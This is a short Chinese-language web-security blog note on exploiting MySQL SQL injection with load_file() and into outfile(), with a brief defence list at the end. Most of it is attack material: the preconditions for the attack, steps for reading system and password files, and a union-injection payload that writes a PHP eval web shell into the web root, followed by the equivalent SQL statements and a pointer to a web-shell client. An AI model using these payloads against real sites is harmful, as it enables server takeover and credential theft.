zoukankan      html  css  js  c++  java
  • web安全之sqlload_file()和into outfile()

    load_file()

      条件:要有file_priv权限

         知道文件的绝对路径

         能使用union

         对web目录有读权限

      如果过滤啦单引号,则可以将函数中的字符进行hex编码

    步骤:

      1.读/etc/init.d下的东西,这里有配置文件路径。

       2.得到web的安装路径

    3.读取密码文件

    into outfile

    条件:

      1。要有file_priv权限

      2.知道网站的绝对路径

      3.对web有写的权限

      4.没有过滤单引号

    步骤:

    直到网站的绝对路径的时候:

      ?id=1 union select "<?php @eval($_POST['c']); ?>" into
     outfile("网站根目录")

    相当于:

    use test;  选择数据库为test
    create table aaa(bbb varchar(64));   在数据库中创建一个表aaa
    insert into aaa values("<?php @eval($_POST['c']);?>");   在aaa中插入一条数据<?php @eval($_POST['c']);?>
    select * from aaa into outfile 'C:/phpStudy/WWW/a.php';  将aaa中的数据导出到文件a.php
    drop aaa;  //删除建立的表


    用菜刀练接;



    防御:
      数据库连接帐号不能用root权限
      php关闭报错模式
      mysql帐号没有对权限对网络根目录有写的权限


     
  • 相关阅读:
    [Cerc2013]Magical GCD
    UVA 1393 Highways
    UVA 10214 Trees in a Wood
    [SDOI2010]大陆争霸
    Oracle逻辑读详解
    DBA_2PC_PENDING (转)
    oracle autotrace使用
    升级oracle 9i到10g
    VMware 虚拟机中添加新硬盘的方法(转载)
    ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var mysql (转)
  • 原文地址:https://www.cnblogs.com/secevery/p/5768652.html
Copyright © 2011-2022 走看看